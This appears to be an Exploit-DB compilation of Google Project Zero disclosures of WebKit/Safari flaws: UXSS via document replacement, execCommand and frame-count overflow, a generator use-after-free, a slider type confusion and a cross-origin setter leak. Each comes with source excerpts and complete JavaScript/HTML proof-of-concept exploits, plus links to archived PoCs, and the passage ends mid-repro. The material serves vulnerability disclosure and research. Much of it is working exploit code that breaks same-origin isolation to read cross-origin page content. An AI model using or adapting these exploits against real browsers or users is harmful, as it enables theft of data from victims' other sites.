a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.
When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.
VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).
REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));
pi = document.createProcessingInstruction('xml-stylesheet',
'type="text/xml" href="stylesheet.xml"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);
setTimeout(() => {
victim_frame = createFrame(document);
child_frame_1 = createFrame(victim_frame.contentDocument);
child_frame_1.contentWindow.onunload = () => {
victim_frame.src = 'javascript:""';
try {
victim_frame.contentDocument.appendChild(document.createElement('html')).
appendChild(document.createElement('body'));
} catch { }
child_frame_2 = createFrame(victim_frame.contentDocument);
child_frame_2.contentWindow.onunload = () => {
doc = victim_frame.contentDocument;
doc.write('foo');
doc.firstChild.remove();
doc.appendChild(pi);
doc.appendChild(doc.createElement('root'));
doc.close();
}
}
victim_frame.src = 'javascript:""';
if (child_frame_1.xslt_script_run) {
victim_frame.src = 'http://example.com/';
victim_frame.onload = () => {
form = corrupted_doc.createElement('form');
form.action = 'javascript:alert(document.body.innerHTML)';
form.submit();
}
}
}, 2000);
</script>
</body>
```
stylesheet.xml:
```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
VULNERABILITY DETAILS
```
void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument)
{
[...]
begin(m_frame->document()->url(), true, ownerDocument); // ***1***
// begin() might fire an unload event, which will result in a situation where no new document has been attached,
// and the old document has been detached. Therefore, bail out if no document is attached.
if (!m_frame->document())
return;
if (!source.isNull()) {
if (!m_hasReceivedSomeData) {
m_hasReceivedSomeData = true;
m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode);
}
// FIXME: This should call DocumentParser::appendBytes instead of append
// to support RawDataDocumentParsers.
if (DocumentParser* parser = m_frame->document()->parser())
parser->append(source.impl()); // ***2***
}
```
```
bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument)
{
[...]
bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3***
if (shouldReuseDefaultView)
document->takeDOMWindowFrom(*m_frame->document());
else
document->createDOMWindow();
// Per <http://www.w3.org/TR/upgrade-insecure-requests/>, we need to retain an ongoing set of upgraded
// requests in new navigation contexts. Although this information is present when we construct the
// Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it
// so we can restore it.
HashSet<SecurityOriginData> insecureNavigationRequestsToUpgrade;
if (auto* existingDocument = m_frame->document())
insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade();
m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView);
clear();
// m_frame->loader().clear() might fire unload event which could remove the view of the document.
// Bail out if document has no view.
if (!document->view())
return false;
if (!shouldReuseDefaultView)
m_frame->script().updatePlatformScriptObjects();
m_frame->loader().setOutgoingReferrer(url);
m_frame->setDocument(document.copyRef());
[...]
m_frame->loader().didBeginDocument(dispatch); // ***4***
document->implicitOpen();
[...]
```
`DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with
a new one using the result of evaluating a javascript: URI as the document's source. The method
calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to
the parser of the active document[2]. If an attacker can perform another page load right before
returning from `begin` , the method will append an attacker-controlled string to a potentially
cross-origin document.
Under normal conditions, a javascript: URI load always makes `begin` associate the new document with
a new DOMWindow object. However, it's actually possible to meet the requirements of the
`shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the <iframe> element's
source URI to a sane value before it's inserted into the document. This will set the frame state to
`DisplayingInitialEmptyDocumentPostCommit`. Then she has to call `open` on the frame's document
right after the insertion to stop the initial load and set the document URL to a value that can pass
the `isSecureTransitionTo` check.
When the window object is re-used, all event handlers defined for the window remain active. So, for
example, when `didBeginDocument`[4] calls `setReadyState` on the new document, it will trigger the
window's "readystatechange" handler. Since `NavigationDisabler` is not active at this point, it's
possible to perform a synchronous page load using the `showModalDialog` trick.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
The attack won't work if the cross-origin document has no active parser by the time `begin` returns.
The easiest way to reproduce the bug is to call `document.write` from the victim page when the main
parsing task is complete. However, it's a rather artificial construct, so I've also attached another
test case, which works for regular pages, but it has to use a python script that emulates a slow web
server to run reliably.
```
<body>
<h1>Click to start</h1>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.frame.contentDocument.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 2000);
</scrip` + 't>'));
}
window.onclick = () => {
frame = document.createElement('iframe');
frame.src = location;
document.body.appendChild(frame);
frame.contentDocument.open();
frame.contentDocument.onreadystatechange = () => {
frame.contentWindow.addEventListener('readystatechange', () => {
a = frame.contentDocument.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
}, {capture: true, once: true});
}
frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"';
}
victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>';
ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47450.zip
<!--
VULNERABILITY DETAILS
editing/ReplaceSelectionCommnd.cpp:
```
Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
{
auto holder = createDefaultParagraphElement(document());
holder->appendChild(*m_fragment);
rootEditableElement->appendChild(holder); // ***2***
document().updateLayoutIgnorePendingStylesheets();
return holder;
}
[...]
ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
: m_document(&document)
, m_fragment(fragment)
, m_hasInterchangeNewlineAtStart(false)
, m_hasInterchangeNewlineAtEnd(false)
{
if (!m_fragment)
return;
if (!m_fragment->firstChild())
return;
RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
ASSERT(editableRoot);
if (!editableRoot)
return;
[...]
RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
```
html/shadow/SliderThumbElement.cpp
```
RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
{
// Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
// So, shadowHost() must be an HTMLInputElement.
return downcast<HTMLInputElement>(shadowHost()); // ***3***
}
```
I noticed this behavior when I was debugging the test case for
https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
`selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
synchronously, and it's possible to reach the user-agent shadow root object by following the
ancestor chain from the <iframe>.
When an attacker has access to the shadow root, she can use it to leak other elements that are only
intended for internal use and have less strict security checks. For example, `SliderThumbElement`
doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
type confusion vulnerability.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
-->
<body>
<script>
input = document.body.appendChild(document.createElement('input'));
input.focus();
handler = event => {
shadow_root = event.target.parentNode.parentNode.parentNode;
input.type = 'range';
elt = shadow_root.firstChild.firstChild.firstChild;
input.remove();
elt.remove();
evt = new MouseEvent('mouseup');
div = document.createElement('div');
new_shadow_root = div.attachShadow({mode: 'open'});
new_shadow_root.appendChild(elt);
elt.dispatchEvent(evt);
}
document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
</script>
</body>
<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->
<!--
In WebKit, resuming a generator is implemented in JavaScript. An internal object property, @generatorState is used to prevent recursion within generators. In GeneratorPrototype.js, the state is checked by calling:
var state = this.@generatorState;
and set by calling:
generator.@generatorState = @GeneratorStateExecuting;
Checking that the @generator property is set is also used in place of type checking the generator.
Therefore, if Generator.next is called on an object with a prototype that is a Generator, it will pass the type check, and the internal properties of the Generator prototype will be used to resume the generator. However, when @generatorState, it will be set as an own property on the object, not the prototype. This allows the creation of non-Generator objects with the @generatorState set to completed.
It is then possible to bypass the recursion check by setting the prototype of one of these objects to a Generator, as the check will then get the object's @generatorState own property, meanwhile the other internal properties will come from the prototype.
Generators are not intended to allow recursion, so a reference to the scope is not maintained, leading to a use-after free.
A minimal sample of the script causing this problem is below, and a full PoC is attached.
var iterator;
var a = [];
function* foo(index) {
while (1) {
var q = a.pop();
if(q){
q.__proto__ = iterator;
q.next();
}
yield index++;
}
}
function* foo2(){
yield;
}
var temp = foo2(0);
for(var i = 0; i < 10; i++){ // make a few objects with @generatorState set
var q = {};
q.__proto__ = temp;
q.next();
q.__proto__ = {};
a.push(q);
}
iterator = foo(0);
var q = {};
q.__proto__ = iterator;
print(q.next().value);
-->
<html><body><script>
print = console.log;
print("top");
var iterator;
var o = function(){print("hello")};
var a = [];
function* foo(index) {
//print("start");
while (1) {
//if(index == 77){
// o = 0;
// gc();
// index = 2;
// var a = [1, 2, 3, 4];
//yield 9;
//print("a vale " + a[0]);
//}
//if(index == 1){
//index = 77;
// print("INTERNAL CALL")
// iterator.next();
//index++;
//}
//var b = [1, 2, 3, 4];
var q = a.pop();
if(q){
print("here1");
q.__proto__ = iterator;
q.next();
}
yield index++;
//print("bval" + b[0]);
}
}
function* foo2(){
yield;
}
var temp = foo2(0);
for(var i = 0; i < 10; i++){
var q = {};
q.__proto__ = temp;
q.next();
q.__proto__ = {};
a.push(q);
}
//print(a);
iterator = foo(0);
// expected output: 0
o.__proto__ = iterator;
//print("FIRST CALL")
//print(o.next().value);
//print("SECOND CALL")
//print(o.next().value);
//print("THIRD CALL")
for(var i = 0; i < 10; i++){
var q = {};
q.__proto__ = iterator;
print(q.next("hello").value);
}
//print("FOURTH CALL")
//print(iterator.next().value);
o();
</script></body></html>
VULNERABILITY DETAILS
```
void FrameLoader::detachChildren()
{
[...]
SubframeLoadingDisabler subframeLoadingDisabler(m_frame.document()); // ***1***
Vector<Ref<Frame>, 16> childrenToDetach;
childrenToDetach.reserveInitialCapacity(m_frame.tree().childCount());
for (Frame* child = m_frame.tree().lastChild(); child; child = child->tree().previousSibling())
childrenToDetach.uncheckedAppend(*child);
for (auto& child : childrenToDetach)
child->loader().detachFromParent();
}
```
When a cached page is being restored, and the page that's being navigated away is not cacheable,
there exists a time frame during which two documents are attached to the same frame. If an attacker
finds a way to run JS during this time frame, she will be able to use one of the documents to
execute JavaScript in the context of the other one.
One possible call stack that might lead to JS execution is:
```
a child frame's unload handler
...
ContainerNode::disconnectDescendantFrames()
Document::prepareForDestruction()
FrameLoader::clear()
FrameLoader::open()
```
By the time `FrameLoader::clear` is called, child frames are usually already disconnected from the
document via
```
FrameLoader::detachChildren()
FrameLoader::setDocumentLoader()
FrameLoader::transitionToCommitted()
```
However, the attacker can initiate a new page load inside `detachChildren` to bypass
`SubframeLoadingDisabler` and create a new child frame. Note that it won't cancel the cached page
load.
The attack has a restriction that significantly limits its applicability -- a victim page should
load a (potentially sandboxed) <iframe> with attacker-controlled content, so the attacker's JS has
a chance to run inside `Document::prepareForDestruction`. This is the case, for example, for online
translators.
VERSION
WebKit revision 246194
It's unclear whether the bug is exploitable in Safari 12.1.1. The repro case seem to have an issue
with a nested `showModalDialog` call.
REPRODUCTION CASE
The test case again relies on `showModalDialog` to perform synchronous page loads. Moreover, the
code is wrapped inside a `showModalDialog` call to keep a user gesture token active throughout its
execution.
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47453.zip
<!--
VULNERABILITY DETAILS
```
static Editor::Command command(Document* document, const String& commandName, bool userInterface = false)
{
RefPtr<Frame> frame = document->frame();
if (!frame || frame->document() != document) // ***1***
return Editor::Command();
document->updateStyleIfNeeded(); // ***2***
return frame->editor().command(commandName,
userInterface ? CommandFromDOMWithUserInterface : CommandFromDOM);
}
bool Document::execCommand(const String& commandName, bool userInterface, const String& value)
{
EventQueueScope eventQueueScope;
return command(this, commandName, userInterface).execute(value);
}
```
This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1133. `command`
calls `updateStyleIfNeeded`[2], which might trigger JavaScript execution, e.g., via
`HTMLObjectElement::updateWidget`. If the JS code triggers a new page load, the editor command will
be applied to the wrong page. The method checks that the `document` argument is the document that's
currently displayed on the page, but it does so *before* the `updateStyleIfNeeded` call. An attacker
can exploit this bug to execute the "InsertHTML" command and run JavaScript in the context of the
victim page.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
The test case requires the victim page to have a selected element when the load is complete. A
common suitable case is when the page contains an autofocused <input> element.
```
<body>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.w.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'));
}
victim_url = 'https://trac.webkit.org/search';
cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';
onclick = () => {
w = open();
obj = document.createElement('object');
obj.data = 'about:blank';
obj.addEventListener('load', function() {
a = w.document.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
});
w.document.body.appendChild(obj);
w.document.execCommand('insertHTML', false,
'<iframe onload="alert(document.documentElement.outerHTML)" src="about:blank"></iframe>');
}
</script>
</body>
```
repro_iframe.html contains a version that uses an <iframe> instead of a new window and works in
Safari 12.1.1.
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->
<body>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.w.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'));
}
victim_url = 'data:text/html,<h1>secret data</h1><input autofocus>';
cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';
victim_frame = document.body.appendChild(document.createElement('iframe'));
victim_frame.style.width = victim_frame.style.height = '100%';
victim_frame.contentDocument.write('<h1>click to start</h1>');
victim_frame.contentWindow.onclick = (() => {
obj = document.createElement('object');
obj.data = 'about:blank';
obj.addEventListener('load', function() {
a = victim_frame.contentDocument.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
});
victim_frame.contentDocument.body.appendChild(obj);
victim_frame.contentDocument.execCommand('insertHTML', false,
'<iframe onload="alert(document.firstChild.outerHTML)" src="about:blank"></iframe>');
});
</script>
</body>
VULNERABILITY DETAILS
```
bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot)
{
ASSERT(!isThisValueAltered(slot, this));
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSObject* obj = this;
for (;;) {
unsigned attributes;
PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1***
if (isValidOffset(offset)) {
if (attributes & PropertyAttribute::ReadOnly) {
ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this);
return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);
}
JSValue gs = obj->getDirect(offset);
if (gs.isGetterSetter()) {
// We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
if (!structure(vm)->isDictionary())
slot.setCacheableSetter(obj, offset);
bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2***
RETURN_IF_EXCEPTION(scope, false);
return result;
}
if (gs.isCustomGetterSetter()) {
// We need to make sure that we decide to cache this property before we potentially execute aribitrary JS.
if (attributes & PropertyAttribute::CustomAccessor)
slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
else
slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter());
bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value);
RETURN_IF_EXCEPTION(scope, false);
return result;
}
ASSERT(!(attributes & PropertyAttribute::Accessor));
// If there's an existing property on the object or one of its
// prototypes it should be replaced, so break here.
break;
}
[...]
JSValue prototype = obj->getPrototype(vm, exec);
RETURN_IF_EXCEPTION(scope, false);
if (prototype.isNull())
break;
obj = asObject(prototype);
}
```
This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240.
`putInlineSlow` and `putToPrimitive` now call the access-checked `getPrototype` method instead of
`getPrototypeDirect`. However, they still use `Structure::get` directly[1], which bypasses access
checks implemented in functions that override `JSObject::put`. Thus, an attacker can put a
cross-origin object into the prototype chain of a regular object and trigger the invocation of a
cross-origin setter. If the setter raises an exception while processing the passed value, it's
possible to leak the exception object and gain access to, e.g., another window's function
constructor.
Since this issue is only exploitable when a victim page defines a custom accessor property on the
`location` object, its practical impact is minimal.
VERSION
WebKit revision 247430
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
<body>
<script>
frame = document.body.appendChild(document.createElement('iframe'));
frame.src = `data:text/html,
<h1>secret data</h1>
<script>
location.__defineSetter__('foo', function(value) {
alert('Received value: ' + value);
});
</s` + `cript>`;
function turnLeakedExceptionIntoUXSS(object) {
try {
object.foo = {toString: function() { return {} } };
} catch (e) {
let func = e.constructor.constructor;
func('alert(document.body.innerHTML)')();
}
}
frame.onload = () => {
// putInlineSlow
turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location});
// putToPrimitive
num = 1337;
num.__proto__.__proto__ = frame.contentWindow.location;
turnLeakedExceptionIntoUXSS(num);
}
</script>
</body>
VULNERABILITY DETAILS
HTMLFrameElementBase.cpp:
```
bool HTMLFrameElementBase::isURLAllowed() const
{
if (m_URL.isEmpty()) // ***4***
return true;
return isURLAllowed(document().completeURL(m_URL));
}
bool HTMLFrameElementBase::isURLAllowed(const URL& completeURL) const
{
if (document().page() && document().page()->subframeCount() >= Page::maxNumberOfFrames) // ***3***
return false;
if (completeURL.isEmpty())
return true;
if (WTF::protocolIsJavaScript(completeURL)) {
RefPtr<Document> contentDoc = this->contentDocument();
if (contentDoc && !ScriptController::canAccessFromCurrentOrigin(contentDoc->frame(), document()))
return false;
}
RefPtr<Frame> parentFrame = document().frame();
if (parentFrame)
return parentFrame->isURLAllowed(completeURL);
return true;
}
void HTMLFrameElementBase::openURL(LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
if (!isURLAllowed())
return;
[...]
parentFrame->loader().subframeLoader().requestFrame(*this, m_URL, frameName, lockHistory, lockBackForwardList);
```
NodeRarData.h:
```
class NodeRareData : public NodeRareDataBase {
[...]
private:
unsigned m_connectedFrameCount : 10; // Must fit Page::maxNumberOfFrames. ***1***
```
Page.h:
```
class Page : public Supplementable<Page>, public CanMakeWeakPtr<Page> {
[...]
// Don't allow more than a certain number of frames in a page.
// This seems like a reasonable upper bound, and otherwise mutually
// recursive frameset pages can quickly bring the program to its knees
// with exponential growth in the number of frames.
static const int maxNumberOfFrames = 1000; // ***2***
```
Every DOM node stores the number of child frames currently attached to the subtree to speed up the
`disconnectSubframes` algorithm; more specifically, when the number of connected frames for a given
node is zero, its subtree won't be traversed. The value is stored as a 10-bit integer[1], so, to
protect it from overflowing, an upper bound for the total count of attached subframes has been
introduced[2]. It's enforced inside `isURLAllowed`[3] along with some other URL-specific checks. The
problem is if the current URL is empty, all the checks will be skipped[4].
Therefore, an attacker can insert exactly 1024 frame elements with an empty URL into a node, so its
connected subframe counter will overflow and become zero. Later, when the node is removed from the
document tree, the subframes won't be detached.
The attacker can also abuse the flaw to make a subframe "survive" a cross-origin page load because
`disconnectDescendantFrames`, which is called during the document replacement, only processes
`iframe` elements inside the document tree. Then, if the subframe is navigated to the `about:srcdoc`
URL, the new document will inherit the security context from its parent document, which can be an
arbitrary cross-origin page, while the contents will be attacker-controlled.
Moving the check closer to the actual frame creation in `SubframeLoader::loadSubframe` should fix
the issue. Besides, since the `srcdoc` technique can be reused in other UXSS bugs, I think it's
reasonable to try to break it. One way to achieve that is to replace the
`disconnectDescendantFrames` call in `Document::prepareForDestruction` with a call to
`FrameLoader::detachChildren`, which detaches subframes regardless of whether their associated
elements are attached to the document tree. However, I'm not sure if this change would be safe. The
attached patch just adds a release assertion after `disconnectDescendantFrames` to ensure that all
subframes have been detached. The solution is not too elegant, but a similar fix in Blink
(https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/dom/document.cc?rcl=a34380189132e826108a71d9f6024b863ce1dcaf&l=3115)
has proved to be effective.
VERSION
WebKit revision 247430
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
The minimal test case that demonstrates the issue is as follows:
```
<body>
<script>
const FRAME_COUNT = 1024;
let container = document.body.appendChild(document.createElement('div'));
for (let i = 0; i < FRAME_COUNT; ++i) {
let frame = container.appendChild(document.createElement('iframe'));
frame.style.display = 'none';
}
container.remove();
frame = container.firstChild;
alert(`
<iframe> is not attached to the document tree, but still has a content frame!
frame.parentNode.parentNode: ${frame.parentNode.parentNode}
frame.contentWindow: ${frame.contentWindow}
`);
</script>
</body>
```
The full UXSS exploit is in the attached archive.
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47552.zip
BACKGROUND
As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121,
WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform
synchronous cross-origin page loads. In certain conditions, this might lead to
time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In
particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve
UXSS.
(copied from lokihardt's report)
```
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);
if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;
if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
return true;
}
```
The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL`
call.
```
- if (!scriptURL.isEmpty())
+ if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```
It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203
was reported, which abused the HTML parser to bypass the added check. The problem was that
`isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was
empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed
to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler
to load a cross-origin page inside `loadOrRedirectSubframe`.
As a result, another check has been added (see the comment below):
```
+ bool hasExistingFrame = ownerElement.contentFrame();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList);
if (!frame)
return false;
- if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
+ // If we create a new subframe then an empty document is loaded into it synchronously and may
+ // cause script execution (say, via a DOM load event handler) that can do anything, including
+ // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated.
+ bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL());
+ if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```
VULNERABILITY DETAILS
The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an
`iframe` element with an existing content frame. However, due to the way the node insertion
algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in
progress:
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185
```
static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child,
ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion)
{
NodeVector postInsertionNotificationTargets;
{
ScriptDisallowedScope::InMainThread scriptDisallowedScope;
if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree()))
containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval();
doNodeInsertion();
ChildListMutationScope(containerNode).childAdded(child);
postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child);
}
[...]
ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child));
for (auto& target : postInsertionNotificationTargets)
target->didFinishInsertingNode();
[...]
```
Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a
subtree which is being inserted contains multiple `iframe` elements, the first one can act as a
trigger for the JavaScript code that creates a content frame for another element right before its
`requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can
be tricked with the help of the HTML parser.
It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On
the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put
an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this
is to save a gesture token by performing an asynchronous load of a `javascript:` URI.
VERSION
Safari 12.0.3 (14606.4.5)
WebKit r243998
REPRODUCTION CASE
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run() {
if (++counter == 2) {
parent_frame = frame.contentDocument.querySelector("iframe");
frame1 = parent_frame.appendChild(document.createElement("iframe"));
frame2 = parent_frame.appendChild(document.createElement("iframe"));
frame1.src = "javascript:top.runChild()";
}
}
let child_counter = 0;
function runChild() {
if (++child_counter == 2) {
parent_frame.appendChild(frame2);
a = frame2.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();
showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);
window.close();
}
}, 100);
</scr` + "ipt>"], {type: "text/html"})));
frame2.src = "javascript:alert(document.documentElement.outerHTML)";
}
}
onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` src="javascript:top.run()"></iframe></b></p>'`;
}
cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>
From WebKit's bugtracker:
Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit
has blocked the original repro case because it relies on executing javascript: URIs synchronously,
the underlying issue is still not fixed.
Currently, `requestFrame` is implemented as follows:
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
[...]
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1***
if (!frame)
return false;
if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) {
// FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case.
// Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585).
if (urlString == "javascript:''" || urlString == "javascript:\"\"")
frame->script().executeIfJavaScriptURL(scriptURL);
else
frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2***
}
return true;
}
By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a
cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin
context.
Updated repro:
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run(event) {
++counter;
if (counter == 2) {
event.target.src = "javascript:alert(document.documentElement.outerHTML)";
} else if (counter == 3) {
frame = event.target;
a = frame.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();
showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);
window.close();
}
}, 100);
